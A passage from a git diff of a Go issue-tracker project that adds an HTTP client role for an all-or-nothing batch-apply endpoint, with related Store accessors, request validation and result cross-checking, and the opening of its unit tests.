was the part that needed wiring rather than the +// transport, and it is the one place this seam's usual rule does not hold: a +// lost compare-and-set is a 200 carrying `swapped: false` and the current +// value, so the client reads the body of a SUCCESS to learn the swap did not +// happen, where every other write here learns that from a status code. See +// metadatacas.go. +func (s *Store) MetadataCAS() (issueops.MetadataCAS, error) { + w, err := s.roleWire("MetadataCAS") + if err != nil { + return nil, err + } + return &httpMetadataCAS{store: s, wire: w}, nil +} + +// BatchApplier serves applyBatch (POST /v0/beads/issues:batchApply) — the +// TWENTIETH wire-backed accessor, and the widest write on the surface: one +// request carrying creates, updates, closes and edges that either all land or +// none do. +// +// Its key-binding half — a create item names a key that later items reference, +// and the response maps every key to the id it was bound to — has no analog in +// any other role here, and neither does the shape it forced on the refusal +// path: an all-or-nothing operation publishes no per-item outcomes, so the +// offender travels in the problem document's item_* members and this role +// rebuilds *issueops.ItemError and *issueops.RefError from them. See +// batchapplier.go. +func (s *Store) BatchApplier() (issueops.BatchApplier, error) { + w, err := s.roleWire("BatchApplier") + if err != nil { + return nil, err + } + return &httpBatchApplier{store: s, wire: w}, nil +} + +// BatchGetter serves batchGetIssues (POST /v0/beads/issues:batchGet) — the +// TWENTY-SIXTH wire-backed accessor, and the newest: storage.DoltStorage grew +// this method when the rebase onto origin/main brought in upstream #7248's +// issueops.BatchGetter. +// +// It takes no roleWire: the operation writes nothing and carries no actor or +// version guard for a WriteWire method to wrap, so it dials through the +// store directly, the way Counter and Querier do. See batchgetter.go. +func (s *Store) BatchGetter() (issueops.BatchGetter, error) { + return &httpBatchGetter{store: s}, nil +} diff --git a/internal/httpclient/backend_credential_test.go b/internal/httpclient/backend_credential_test.go index 25d5d051f..9c4f50832 100644 --- a/internal/httpclient/backend_credential_test.go +++ b/internal/httpclient/backend_credential_test.go @@ -32,7 +32,7 @@ func (fixtureBackendCredential) BackendCredential() {} func TestResolveCredentialNilNotRequiredFallsBackToTheAmbientLadder(t *testing.T) { clearCredentialEnvironment(t) - t.Setenv(TokenEnv, "ambient-token") + t.Setenv(TokenEnv, "127.0.0.1=ambient-token") base := mustParseURL(t, "http://127.0.0.1:8080") cp, err := ResolveCredential(backends.OpenOptions{}, base, false) diff --git a/internal/httpclient/batchapplier.go b/internal/httpclient/batchapplier.go new file mode 100644 index 000000000..dae4ed8f0 --- /dev/null +++ b/internal/httpclient/batchapplier.go @@ -0,0 +1,769 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/batchapplier.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "context" + "errors" + "fmt" + "reflect" + "strings" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/encode" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/issueops" +) + +// httpBatchApplier serves issueops.BatchApplier over issues:batchApply — the +// widest write on this surface, and the only one that is ALL OR NOTHING across +// several verbs at once. +// +// WHAT MAKES IT DIFFERENT FROM ITS NEIGHBORS HERE, and what the port had to +// carry: +// +// THE ITEM IS A TAGGED UNION AND THE WIRE CANNOT ENFORCE THE TAG. The document +// uses no composition keyword, so an item is one object with a required `kind` +// and four optional payloads: nothing in any generated type stops a request +// carrying two payloads, or a payload the kind does not name, or a kind this +// client has never heard of. All four disagreements are refused HERE, before +// the dial, because the role's own contract calls each of them ErrValidation +// and because a kind added upstream must FAIL CLOSED rather than be dropped +// into a request that silently does less than the caller asked. +// +// THERE ARE NO PER-ITEM OUTCOMES TO WALK. batchClose answers a refused item +// inside a 200 and the role reads the outcome array; here a refused item took +// the whole transaction down, so every other item's outcome would be a +// statement about work that rolled back. The offender travels in the problem +// document's `item_*` members instead, read off the role's own typed +// *issueops.ItemError inside the refusing transaction, and rebuilt here so a +// caller classifies a remote refusal with the errors.As arm it already has. +// +// THE RESULT IS POSITIONAL, which is the hazard this file guards hardest. The +// wire answers one entry per requested item in request order, and a client that +// trusted that without checking would attribute one item's `changed` and +// `revision` to a different item's row — a misattribution no assertion about +// the row would catch, because both rows exist and both were written. +// decodeApplyBatchResult checks the length AND the kind at every index. +// +// THE SNAPSHOT STOPS AT THE WIRE. issueops.ItemResult carries a post-item +// *Issue and ApplyItemResult does not, deliberately (the role's own leaf says +// so: hooks never fire on this surface, and a hundred hydrated issues would be +// a response an order of magnitude larger than the request). So Issue is nil on +// every item this role answers with — ledger row L-apply-snapshot. +type httpBatchApplier struct { + store *Store + wire WriteWire +} + +var _ issueops.BatchApplier = (*httpBatchApplier)(nil) + +// ApplyBatch dials POST /v0/beads/issues:batchApply. +func (b *httpBatchApplier) ApplyBatch(ctx context.Context, req issueops.ApplyBatchRequest) (result issueops.ApplyBatchResult, err error) { + // Write-side parity with reads: decorates a bare *encode.RefusedError — + // however deeply applyBatchBody/encodeApplyPatch nested it inside an + // "items[%d]..." or "Issue.%s:" prefix — into *InexpressibleError so + // errors.As(err, &unsupported) reaches *storage.ErrUnsupported, same as + // inexpressible does for a read role. The original composite message + // (including that prefix) is preserved in the decorated error's own text. + defer func() { err = b.store.inexpressible("BatchApplier.ApplyBatch", err) }() + if err := requireActor(req.Actor); err != nil { + return issueops.ApplyBatchResult{}, err + } + // The two bounds the ROLE states, applied before the dial for the reason + // every client-side validation here is applied before one: a request the + // role's own contract calls invalid must not consume a write slot to be + // told so. Neither is a wire divergence — the document publishes the same + // hundred — and the cap REFUSES rather than splitting, because a split plan + // is several transactions where the caller asked for one and the end gate + // only ever sees a single request. + if len(req.Items) == 0 { + return issueops.ApplyBatchResult{}, invalid("a batch apply names no items") + } + if len(req.Items) > issueops.MaxApplyBatchItems { + return issueops.ApplyBatchResult{}, invalid( + "a batch apply carries %d items; the limit is %d per request", len(req.Items), issueops.MaxApplyBatchItems) + } + + body, err := applyBatchBody(req) + if err != nil { + return issueops.ApplyBatchResult{}, err + } + resp, err := b.wire.ApplyBatch(ctx, body) + if err != nil { + return issueops.ApplyBatchResult{}, applyBatchRefusal(err) + } + return decodeApplyBatchResult(req, resp) +} + +// applyBatchBody projects the role's request onto the wire body. +func applyBatchBody(req issueops.ApplyBatchRequest) (wire.ApplyBatchRequest, error) { + items := make([]wire.ApplyItem, 0, len(req.Items)) + for i, item := range req.Items { + encoded, err := applyItemBody(item, req.Actor) + if err != nil { + return wire.ApplyBatchRequest{}, fmt.Errorf("items[%d]: %w", i, err) + } + items = append(items, encoded) + } + + body := wire.ApplyBatchRequest{Actor: req.Actor, Items: items} + setItemString(&body.Provenance, req.Provenance) + // The two booleans are sent only when TRUE, createBody's rule: each selects + // a bypass, so an explicit false is the default said twice. + setItemBool(&body.ForceIDPrefix, req.ForceIDPrefix) + setItemBool(&body.SkipPerEdgeCycleCheck, req.SkipPerEdgeCycleCheck) + return body, nil +} + +// applyItemKinds is the tag vocabulary this client knows, paired with the +// payload each value names. It is a map rather than a switch so the closed set +// is ENUMERABLE, and so the agreement check below and the projection cannot +// drift into two opinions about which payload a kind reads. +var applyItemKinds = map[issueops.ItemKind]string{ + issueops.ItemCreate: "create", + issueops.ItemUpdate: "update", + issueops.ItemClose: "close", + issueops.ItemDepAdd: "dep_add", +} + +// applyItemBody projects one tagged item, refusing all four ways a tag and its +// payloads can disagree. +// +// IT FAILS CLOSED ON AN UNKNOWN KIND, and that is the arm worth stating out +// loud: ItemKind is a closed set today, and a fifth verb added to issueops +// tomorrow would arrive here as a value this map does not carry. Sending it +// anyway would put an item on the wire with a tag the server refuses — a round +// trip to be told what is knowable here — and, worse, sending it with NO +// payload would be a plan that silently did less than the caller composed. +// Refusing names the kind. +func applyItemBody(item issueops.ApplyItem, actor string) (wire.ApplyItem, error) { + named, known := applyItemKinds[item.Kind] + if !known { + return wire.ApplyItem{}, invalid("item kind %q is not one of create, update, close, dep_add", item.Kind) + } + + // The tag and the payloads have to agree in BOTH directions, exactly as + // they do at the server's own door: a kind with no payload is an item that + // does nothing, a payload the kind does not name is an item whose two + // halves disagree, and two payloads is an item that cannot say which it + // meant. The role calls all three ErrValidation. + var carried []string + for _, present := range []struct { + member string + set bool + }{ + {"create", item.Create != nil}, + {"update", item.Update != nil}, + {"close", item.Close != nil}, + {"dep_add", item.DepAdd != nil}, + } { + if present.set { + carried = append(carried, present.member) + } + } + switch { + case len(carried) == 0: + return wire.ApplyItem{}, invalid("an item of kind %q carries no %s payload", item.Kind, named) + case len(carried) > 1: + return wire.ApplyItem{}, invalid("an item carries exactly one payload; this one carries %v", carried) + case carried[0] != named: + return wire.ApplyItem{}, invalid("an item of kind %q carries the %q payload; the two must name the same verb", + item.Kind, carried[0]) + } + + out := wire.ApplyItem{Kind: named} + switch item.Kind { + case issueops.ItemCreate: + create, err := applyCreateItemBody(item.Create, actor) + if err != nil { + return wire.ApplyItem{}, err + } + out.Create = create + case issueops.ItemUpdate: + update, err := applyUpdateItemBody(item.Update) + if err != nil { + return wire.ApplyItem{}, err + } + out.Update = update + case issueops.ItemClose: + closeItem, err := applyCloseItemBody(item.Close) + if err != nil { + return wire.ApplyItem{}, err + } + out.Close = closeItem + case issueops.ItemDepAdd: + depAdd, err := applyDepAddItemBody(item.DepAdd) + if err != nil { + return wire.ApplyItem{}, err + } + out.DepAdd = depAdd + } + return out, nil +} + +// applyCreateItemBody projects one create item. +// +// The wire's create vocabulary here is EXACTLY createIssue's twenty — the same +// members, spelled the same way — so the allowlist and the refusal sweep are +// the single create's, shared rather than copied. What is different is the +// ledger row the refusal cites: this is a different operation, and a reader +// auditing "why does my plan refuse?" must not be sent to a row about +// createIssue. +func applyCreateItemBody(item *issueops.CreateItem, actor string) (*apigen.ApplyCreateItem, error) { + if item == nil || item.Issue == nil { + return nil, invalid("a create item names no issue") + } + issue := item.Issue + if len(issue.Comments) > 0 || len(issue.Dependencies) > 0 { + // The ROLE's own rule rather than a wire divergence, and here it is + // stronger than it is on the single create: edges in this role are + // ITEMS, so a create item has nowhere to put one at all. + return nil, invalid("a create item's Issue carries comments or dependencies; edges are dep_add items") + } + if err := refuseUnwirableIssueMembers(issue, actor, encode.OpApplyBatch, "W-CreateItem.Issue"); err != nil { + return nil, err + } + + // Priority is sent ALWAYS, createBody's reason: 0 is P0 and a real request, + // so an absent member — which the server reads as the workspace default — + // would silently reprioritize every critical issue a plan creates. + priority := issue.Priority + out := &apigen.ApplyCreateItem{Title: issue.Title, Priority: &priority} + + setItemString(&out.Key, item.Key) + setItemString(&out.Id, issue.ID) + setItemString(&out.Description, issue.Description) + setItemString(&out.Design, issue.Design) + setItemString(&out.AcceptanceCriteria, issue.AcceptanceCriteria) + setItemString(&out.Notes, issue.Notes) + setItemString(&out.Status, string(issue.Status)) + setItemString(&out.IssueType, string(issue.IssueType)) + setItemString(&out.Assignee, issue.Assignee) + setItemString(&out.Owner, issue.Owner) + setItemString(&out.Sender, issue.Sender) + if issue.ExternalRef != nil { + ref := *issue.ExternalRef + out.ExternalRef = &ref + } + if issue.EstimatedMinutes != nil { + minutes := *issue.EstimatedMinutes + out.EstimatedMinutes = &minutes + } + out.DueAt = copyTime(issue.DueAt) + out.DeferUntil = copyTime(issue.DeferUntil) + if len(issue.Labels) > 0 { + labels := append([]string(nil), issue.Labels...) + out.Labels = &labels + } + if len(issue.Metadata) > 0 { + // The blob travels as the bytes the caller sent, and only its + // well-formedness is this layer's question. See requireJSON. + if err := requireJSON("Issue.Metadata", issue.Metadata); err != nil { + return nil, err + } + out.Metadata = append(apigen.MetadataValue(nil), issue.Metadata...) + } + setItemBool(&out.Ephemeral, issue.Ephemeral) + setItemBool(&out.NoHistory, issue.NoHistory) + + if len(item.MetadataRefs) > 0 { + refs := make(map[string]apigen.Ref, len(item.MetadataRefs)) + for key, ref := range item.MetadataRefs { + encoded, err := applyRefBody(ref) + if err != nil { + return nil, fmt.Errorf("metadata_refs[%q]: %w", key, err) + } + refs[key] = encoded + } + out.MetadataRefs = &refs + } + return out, nil +} + +// applyUpdateItemBody projects one update item. +func applyUpdateItemBody(item *issueops.UpdateItem) (*wire.ApplyUpdateItem, error) { + if item == nil { + return nil, invalid("an update item carries no payload") + } + target, err := applyRefBody(item.Target) + if err != nil { + return nil, fmt.Errorf("target: %w", err) + } + patch, err := encodeApplyPatch(item.Patch) + if err != nil { + return nil, err + } + if len(patch) == 0 { + // The role and the server both refuse an empty patch; saying it here + // keeps a write that writes nothing off the wire entirely. + return nil, invalid("an update item names no field to write") + } + + out := &wire.ApplyUpdateItem{ + Target: target, + Patch: patch, + ExpectedVersion: revisionGuard(item.ExpectedVersion), + } + // The two string guards are pointers on both sides and the copy is a nil + // check, updateGuards' rule: an empty `expected_assignee` is the guard that + // says "only if nobody holds it", so absent has to stay absent. + if item.ExpectedStatus != nil { + status := string(*item.ExpectedStatus) + out.ExpectedStatus = &status + } + if item.ExpectedAssignee != nil { + assignee := *item.ExpectedAssignee + out.ExpectedAssignee = &assignee + } + // All three force flags ARE published on this operation, unlike + // updateIssue's body where they are still refused — so a plan can express + // what a single patch over this wire cannot. They are sent only when true. + setItemBool(&out.ForceClosePolicy, item.ForceClosePolicy) + setItemBool(&out.ForceAssigneeTransfer, item.ForceAssigneeTransfer) + setItemBool(&out.ForceNotesOverwrite, item.ForceNotesOverwrite) + return out, nil +} + +// applyCloseItemBody projects one close item. +// +// THE MAPPING IS TOTAL: every member of the role's CloseItem has a wire member, +// including the row-version guard, so no W- row names one. There is deliberately +// no expected_status on either side — a close is idempotent, so a guard spelled +// to refuse an already-closed row asks for a refusal where the verb answers +// with a no-op. +func applyCloseItemBody(item *issueops.CloseItem) (*apigen.ApplyCloseItem, error) { + if item == nil { + return nil, invalid("a close item carries no payload") + } + target, err := applyRefBody(item.Target) + if err != nil { + return nil, fmt.Errorf("target: %w", err) + } + out := &apigen.ApplyCloseItem{Target: target, ExpectedVersion: revisionGuard(item.ExpectedVersion)} + setItemString(&out.Reason, item.Reason) + setItemString(&out.Session, item.Session) + setItemBool(&out.Force, item.Force) + return out, nil +} + +// applyDepAddItemBody projects one edge item. +// +// The gate normalization a waits-for edge gets, and the refusal a bad gate +// earns, are the ROLE's and stay there: the blob travels as the caller's own +// bytes, and a second parse here would be a second definition of what the edge +// metadata plane accepts. +func applyDepAddItemBody(item *issueops.DepAddItem) (*apigen.ApplyDepAddItem, error) { + if item == nil { + return nil, invalid("a dep_add item carries no payload") + } + source, err := applyRefBody(item.Source) + if err != nil { + return nil, fmt.Errorf("source: %w", err) + } + target, err := applyRefBody(item.Target) + if err != nil { + return nil, fmt.Errorf("target: %w", err) + } + if item.Type == "" { + return nil, invalid("a dep_add item names no edge type") + } + // ApplyDepAddItem publishes neither member below, so each refuses where the + // role would store something the wire cannot say. The spawner flag only + // does that on a waits-for edge; the role ignores it on every other type. + switch { + case item.HasSpawner && item.Type == issueops.DepWaitsFor: + return nil, refuse(encode.OpApplyBatch, "W-DepAddItem.HasSpawner") + case item.ThreadID != "": + return nil, refuse(encode.OpApplyBatch, "W-DepAddItem.ThreadID") + } + out := &apigen.ApplyDepAddItem{Source: source, Target: target, Type: string(item.Type)} + // A BLANK blob is ABSENT, not malformed, and reading it any other way is a + // real bug rather than strictness: the role's own rule is that an absent, + // blank or `{}` metadata on a waits-for edge is stored as the all-children + // gate, so a client that refused whitespace would fail a normalization the + // role performs. Only a NON-blank blob is checked for being JSON at all, + // which is this layer's one question about it. + if blob := strings.TrimSpace(item.Metadata); blob != "" { + if err := requireJSON("DepAdd.Metadata", []byte(blob)); err != nil { + return nil, err + } + out.Metadata = apigen.MetadataValue(blob) + } + return out, nil +} + +// applyRefBody projects one ref, applying the exactly-one rule the schema +// cannot state. +// +// Both members set is a caller that cannot say which it meant and neither is a +// reference to nothing; the role calls both ErrValidation before anything is +// written, so both are refused here rather than dialed. WHETHER a key RESOLVES, +// and whether it reaches backward far enough, is the role's question — only the +// server can see the whole request's key index — and comes back as a *RefError. +func applyRefBody(ref issueops.Ref) (apigen.Ref, error) { + switch { + case ref.Key == "" && ref.ID == "": + return apigen.Ref{}, invalid("a ref names neither a key nor an id") + case ref.Key != "" && ref.ID != "": + return apigen.Ref{}, invalid("a ref names a key and an id; it must name exactly one") + } + var out apigen.Ref + setItemString(&out.Key, ref.Key) + setItemString(&out.Id, ref.ID) + return out, nil +} + +// applyPatchExcludedMembers is the refusal half of the apply patch's allowlist, +// in the order encodeApplyPatch decides them. +// +// THE ALLOWLIST IS NOT updateIssue's, and the two differences run in opposite +// directions, which is why this cannot share refuseExcludedPatchMembers: +// +// owner IS published here and refused there. ApplyPatchBody carries it; +// IssuePatchBody does not, which the document calls an accident of +// order rather than a decision. +// parent_id is published THERE and absent here, and that one is deliberate: +// a parent is a dep_add item of type parent-child, so the order of +// every edge in a plan stays total and there is one spelling for +// an edge. +// +// The other three — spec_id, await_id, closed_by_session — and persistence are +// absent from both bodies. +var applyPatchExcludedMembers = []struct { + member string + ledger string + set func(issueops.IssuePatch) bool +}{ + // ParentID is this document's OWN exclusion and gets its own row; the other + // four are absent from both patch bodies, so they cite the rows that + // already refuse them rather than minting a second reason for one fact. + {"ParentID", "W-ApplyPatch.ParentID", func(p issueops.IssuePatch) bool { return p.ParentID.Set }}, + {"SpecID", "W-IssuePatch.SpecID", func(p issueops.IssuePatch) bool { return p.SpecID.Set }}, + {"AwaitID", "W-IssuePatch.AwaitID", func(p issueops.IssuePatch) bool { return p.AwaitID.Set }}, + {"ClosedBySession", "W-IssuePatch.ClosedBySession", func(p issueops.IssuePatch) bool { return p.ClosedBySession.Set }}, + {"Persistence", "W-IssuePatch.Persistence", func(p issueops.IssuePatch) bool { return p.Persistence.Set }}, +} + +// encodeApplyPatch turns the role's patch into an update item's patch document. +// +// It is a map for encodeIssuePatch's reason and no other: the four NULLABLE +// members wrap a POINTER, and a set nil pointer has to reach the server as a +// literal null — the clear — where an unset one has to be absent entirely. +// apigen.ApplyPatchBody spells them `omitempty`, which collapses the two. +// +// REFUSE FIRST, THEN ENCODE, so a patch that both names an excluded member and +// carries a malformed metadata blob reports the fact about the WIRE rather than +// whichever error the encoder happened to reach first. +// +// LABELS ARE THE FULL PATCH HERE, which is the one place this document is WIDER +// than PATCH /v0/beads/issues/{id}'s: a plan edits a label set it did not +// compose, so an incremental add or remove has to be expressible without +// reading the set back first. W-IssuePatch.Labels is updateIssue's row and does +// not reach this operation. +func encodeApplyPatch(patch issueops.IssuePatch) (map[string]any, error) { + for _, excluded := range applyPatchExcludedMembers { + if excluded.set(patch) { + return nil, refuse(encode.OpApplyBatch, excluded.ledger) + } + } + + out := map[string]any{} + setString(out, "title", patch.Title) + setString(out, "description", patch.Description) + setString(out, "design", patch.Design) + setString(out, "acceptance_criteria", patch.AcceptanceCriteria) + setString(out, "notes", patch.Notes) + setString(out, "append_notes", patch.AppendNotes) + setString(out, "assignee", patch.Assignee) + setString(out, "owner", patch.Owner) + if patch.Priority.Set { + out["priority"] = patch.Priority.Value + } + if patch.IssueType.Set { + out["issue_type"] = string(patch.IssueType.Value) + } + if patch.Status.Set { + out["status"] = string(patch.Status.Value) + } + if metadataPatched(patch.Metadata) { + document, err := encodeMetadataPatch(patch.Metadata) + if err != nil { + return nil, err + } + out["metadata"] = document + } + + // The nullable four. A set member always lands, and lands as null when its + // pointer is nil, because that is the clear. + setNullable(out, "estimated_minutes", patch.EstimatedMinutes) + setNullable(out, "external_ref", patch.ExternalRef) + setNullableTime(out, "due_at", patch.DueAt) + setNullableTime(out, "defer_until", patch.DeferUntil) + + if labels := encodeApplyLabelPatch(patch.Labels); len(labels) > 0 { + out["labels"] = labels + } + return out, nil +} + +// encodeApplyLabelPatch projects the ordered label edit whole. +// +// Replace is a Field rather than a plain slice on both sides, and that is the +// state a struct could not carry: a SET replacement holding no labels CLEARS +// every label, where an unset one leaves the current set as the starting point. +func encodeApplyLabelPatch(patch issueops.LabelPatch) map[string]any { + out := map[string]any{} + if patch.Replace.Set { + // The copy starts from an EMPTY SLICE rather than a nil one, and that is + // the clear rather than a style choice: a set Replace holding no labels + // is how a caller says "remove every label", and a nil []string marshals + // to JSON `null`, which this member does not accept. Starting from + // []string{} makes the clear travel as the empty ARRAY the document + // spells it with. + out["replace"] = append([]string{}, patch.Replace.Value...) + } + if len(patch.Add) > 0 { + out["add"] = append([]string(nil), patch.Add...) + } + if len(patch.Remove) > 0 { + out["remove"] = append([]string(nil), patch.Remove...) + } + return out +} + +// refuseUnwirableIssueMembers is the other half of createCarriedIssueMembers' +// allowlist: it refuses the first populated member of an issue that the wire's +// create vocabulary does not carry, the role does not ignore, and the server +// does not stamp from the actor (actorStampedCreateMember). +// +// It answers the FIRST offender in declaration order, which is deterministic — +// a caller fixing one member at a time must not see the reported member depend +// on map iteration. It is generalized over the LEDGER ROW because two +// operations publish the identical twenty members — createIssue and +// batchApply's create item — and a caller must be sent to the row for the +// operation they actually called. The partition itself is one partition and is +// shared, so the two cannot disagree about what the wire carries or about what +// the role drops. +func refuseUnwirableIssueMembers(issue *issueops.Issue, actor string, op encode.Op, ledgerID string) error { + value := reflect.ValueOf(*issue) + shape := value.Type() + for i := range shape.NumField() { + field := shape.Field(i) + if !field.IsExported() { + continue + } + if _, carried := createCarriedIssueMembers[field.Name]; carried { + continue + } + if _, ignored := roleIgnoredCreateIssueMembers[field.Name]; ignored { + continue + } + if value.Field(i).IsZero() || actorStampedCreateMember(field.Name, issue, actor) { + continue + } + // The ledger row is the vocabulary; the member name is the fact the row + // cannot carry, because one row covers the whole population. + return fmt.Errorf("Issue.%s: %w", field.Name, refuse(op, ledgerID)) + } + return nil +} + +// applyBatchRefusal rebuilds the role's typed refusals from the problem +// document's item members. +// +// IT READS TYPED MEMBERS AND NEVER PROSE, which matters more on this operation +// than anywhere else on the surface: the request is all or nothing, so there is +// no per-item result array a caller could find the offender in, and `item_*` +// is the only place it exists. +// +// THE REF REFUSAL IS MATCHED FIRST, on `declared_later`'s PRESENCE. It is the +// one 400 that carries a discriminator — an ordering mistake reads differently +// from a typo — and it is emitted in both polarities precisely so absence can +// mean "this refusal was not about a key". +// +// A *RefError REPLACES the problem envelope rather than wrapping it, and that +// is the role type's shape rather than a choice here: RefError.Unwrap is +// hardcoded to ErrValidation and the type carries no member for a cause. Ledger +// row L-apply-ref records what that costs. +func applyBatchRefusal(err error) error { + var problem *wire.ProblemError + if !errors.As(err, &problem) { + return err + } + if problem.DeclaredLater != nil { + if problem.ItemIndex == nil { + // A key refusal that named no item. Unreachable against this + // server — the ref refusal is raised inside a request whose items + // are indexed — but RefError.Index has no absent state, so + // answering 0 would name the FIRST item as the offender on a + // refusal that named none. The problem travels unwrapped instead. + return err + } + return &issueops.RefError{ + Index: *problem.ItemIndex, + Member: applyRefMember(problem.Param), + Key: derefStringPtr(problem.ItemKey), + DeclaredLater: *problem.DeclaredLater, + } + } + if problem.ItemIndex == nil { + // A refusal the role raised without naming an item — the request's own + // validation, or a transport-level answer. It travels unwrapped: an + // *ItemError naming index 0 would be a claim about an item this refusal + // says nothing about. + return err + } + return &issueops.ItemError{ + Index: *problem.ItemIndex, + Kind: issueops.ItemKind(derefStringPtr(problem.ItemKind)), + Key: derefStringPtr(problem.ItemKey), + IssueID: derefStringPtr(problem.ItemIssueID), + // The whole ProblemError, so errors.Is still reaches the sentinel its + // code mapped to and the request id survives for a 5xx. + Err: err, + } +} + +// applyRefMember maps the refusal's `param` back onto the role's Member, which +// is diagnostic prose rather than a vocabulary on either side. +// +// The wire names the MEMBER that held the bad ref — `items[3].create.metadata_refs` +// — where the role names the member and, for a metadata ref, the key inside it. +// The key is not recoverable from `param`, so this answers the member alone; see +// ledger row L-apply-ref. +func applyRefMember(param string) string { + switch { + case strings.HasSuffix(param, ".target"): + return "target" + case strings.HasSuffix(param, ".source"): + return "source" + default: + return "metadata_refs" + } +} + +// decodeApplyBatchResult reads the wire response back into the role's result. +// +// THE ARRAY IS POSITIONAL AND IS CHECKED AS ONE, in the two ways the answer +// makes checkable. The wire promises one entry per requested item in request +// order, and a misattribution is the failure no assertion about a ROW would +// catch: both rows exist and both were written, so one item's `changed` and +// `revision` simply read as another's. +// +// length and kind a count that disagrees, or a kind that does not echo the +// item at its index, is caught by comparing the answer with +// the request the client itself composed. +// the key map `keys` binds each NAMED create to the id it was bound to, +// independently of the array's order, so a keyed create's +// result has a second source to agree with. This is what +// catches a SAME-KIND SWAP, which the kind comparison above +// cannot see at all: two transposed creates both answer +// "create" at both indexes. A key the request declared and +// the answer does not carry is refused for the same reason — +// the binding is the one fact the request cannot carry, so a +// missing one leaves a result that cannot be checked rather +// than one to pass along. +// +// WHAT REMAINS UNCHECKABLE, said plainly rather than left as an implication: an +// UNKEYED same-kind swap. Nothing in the response distinguishes two unnamed +// creates and nothing in the request could — naming them is exactly what makes +// them distinguishable — so a transposition between two unnamed items of one +// kind passes. It sits in the same trust class as a server that answered about +// a row the request never named, and the served assembly is provably in item +// order (internal/httpapi/batch_apply.go's applyBatchResponse walks +// result.Items). A caller that needs the guarantee names its items. +// +// Every refusal here is the METHOD's rather than a per-item one, because a +// broken answer says nothing trustworthy about any single item. +func decodeApplyBatchResult(req issueops.ApplyBatchRequest, resp *apigen.ApplyBatchResponse) (issueops.ApplyBatchResult, error) { + if resp == nil { + return issueops.ApplyBatchResult{}, fmt.Errorf("bd serve returned no batch-apply result") + } + if len(resp.Items) != len(req.Items) { + return issueops.ApplyBatchResult{}, fmt.Errorf( + "bd serve returned %d batch-apply results for %d items", len(resp.Items), len(req.Items)) + } + + items := make([]issueops.ItemResult, len(resp.Items)) + for i, item := range resp.Items { + kind := issueops.ItemKind(item.Kind) + if kind != req.Items[i].Kind { + return issueops.ApplyBatchResult{}, fmt.Errorf( + "bd serve returned a %q result at index %d for a %q item; the results are positional", + kind, i, req.Items[i].Kind) + } + if err := checkApplyKeyBinding(req.Items[i], i, item, resp.Keys); err != nil { + return issueops.ApplyBatchResult{}, err + } + // The token is a decimal string on the wire (types.RevisionToken) and + // an int64 on the Go contract; parseRevision is the one place it is + // read back, and a token the server spelled in a way this client + // cannot read refuses the whole result rather than stitching a 0 that + // would only surface as a precondition failure on the NEXT request. + revision, err := parseRevision(fmt.Sprintf("batchApply item %d", i), item.Revision) + if err != nil { + return issueops.ApplyBatchResult{}, err + } + items[i] = issueops.ItemResult{ + Kind: kind, + IssueID: item.IssueId, + Changed: item.Changed, + RowVersion: revision, + // Issue stays nil. The wire result is lean by design and the role's + // own leaf says why; L-apply-snapshot records it. + Issue: nil, + } + if item.DependsOnId != nil { + items[i].DependsOnID = *item.DependsOnId + } + } + + // Allocated rather than passed through, so nothing downstream holds a + // window onto a decoded response body — and so a request whose creates + // named nothing answers with an empty map rather than a nil one. + keys := make(map[string]string, len(resp.Keys)) + for key, id := range resp.Keys { + keys[key] = id + } + return issueops.ApplyBatchResult{Keys: keys, Items: items}, nil +} + +// checkApplyKeyBinding cross-checks one item's result against the key map. +// +// It applies to KEYED CREATES and to nothing else, which is the whole of what +// the answer makes checkable: `keys` carries only the keys the request NAMED, +// an unnamed create item is in `items` and not there, and an update or a close +// resolves a ref the caller already knew the id of. +func checkApplyKeyBinding(item issueops.ApplyItem, index int, result apigen.ApplyItemResult, keys map[string]string) error { + if item.Kind != issueops.ItemCreate || item.Create == nil || item.Create.Key == "" { + return nil + } + key := item.Create.Key + bound, named := keys[key] + if !named { + return fmt.Errorf( + "bd serve bound no id to key %q, which items[%d] declares; the key binding is the one fact the request cannot carry", + key, index) + } + if bound != result.IssueId { + return fmt.Errorf( + "bd serve bound key %q to %s and answered items[%d] with %s; the results are positional and this pair disagrees", + key, bound, index, result.IssueId) + } + return nil +} + +func derefInt(v *int) int { + if v == nil { + return 0 + } + return *v +} + +func derefStringPtr(v *string) string { + if v == nil { + return "" + } + return *v +} diff --git a/internal/httpclient/batchapplier_test.go b/internal/httpclient/batchapplier_test.go new file mode 100644 index 000000000..3607f59a6 --- /dev/null +++ b/internal/httpclient/batchapplier_test.go @@ -0,0 +1,999 @@ +// Contributed by gascity from bd-enterprise (internal/enterprise/httpstore/batchapplier_test.go@49d1df2f6) +// to OSS beads under the MIT license. +package httpclient + +import ( + "encoding/json" + "errors" + "reflect" + "slices" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/httpapi/apigen" + "github.com/steveyegge/beads/internal/httpclient/wire" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// The batch-apply role's unit gates: what the client DECIDES before the dial, +// and what it refuses to believe about the answer. +// +// Everything about what a plan MEANS is the server's and is asserted end to end +// by served_batch_apply_test.go. What is here is the half a live server cannot +// show — the request the client built, the refusals it raised without dialing, +// and the answers it will not accept. + +func applyRole(t *testing.T, w *stubWire) issueops.BatchApplier { + t.Helper() + applier, err := stubStore(t, w).BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + return applier +} + +// applyOneCreate is the smallest plan that lands: one create item, nothing +// named, nothing guarded. +func applyOneCreate() issueops.ApplyBatchRequest { + return issueops.ApplyBatchRequest{ + Actor: "planner", + Items: []issueops.ApplyItem{{ + Kind: issueops.ItemCreate, + Create: &issueops.CreateItem{Issue: &issueops.Issue{Title: "t"}}, + }}, + } +} + +// TestApplyBatchRefusesEveryMemberTheWireExcludes is the refuse-not-drop gate +// for this operation, and it is the pin every W- row of the batch-apply +// population cites. +// +// The create item's issue vocabulary is EXACTLY the single create's, so the +// partition tables are shared rather than copied and this drives the same sweep +// against a different operation and a different ledger row. The patch's own +// excluded member — parent_id — is the second half, and the edge item's two — +// the spawner flag and the thread — are the third. +func TestApplyBatchRefusesEveryMemberTheWireExcludes(t *testing.T) { + t.Run("the create item's carried members are the wire's own", func(t *testing.T) { + published := bodyMembers(t, reflect.TypeOf(apigen.ApplyCreateItem{})) + for field, wireMember := range createCarriedIssueMembers { + if !published[wireMember] { + 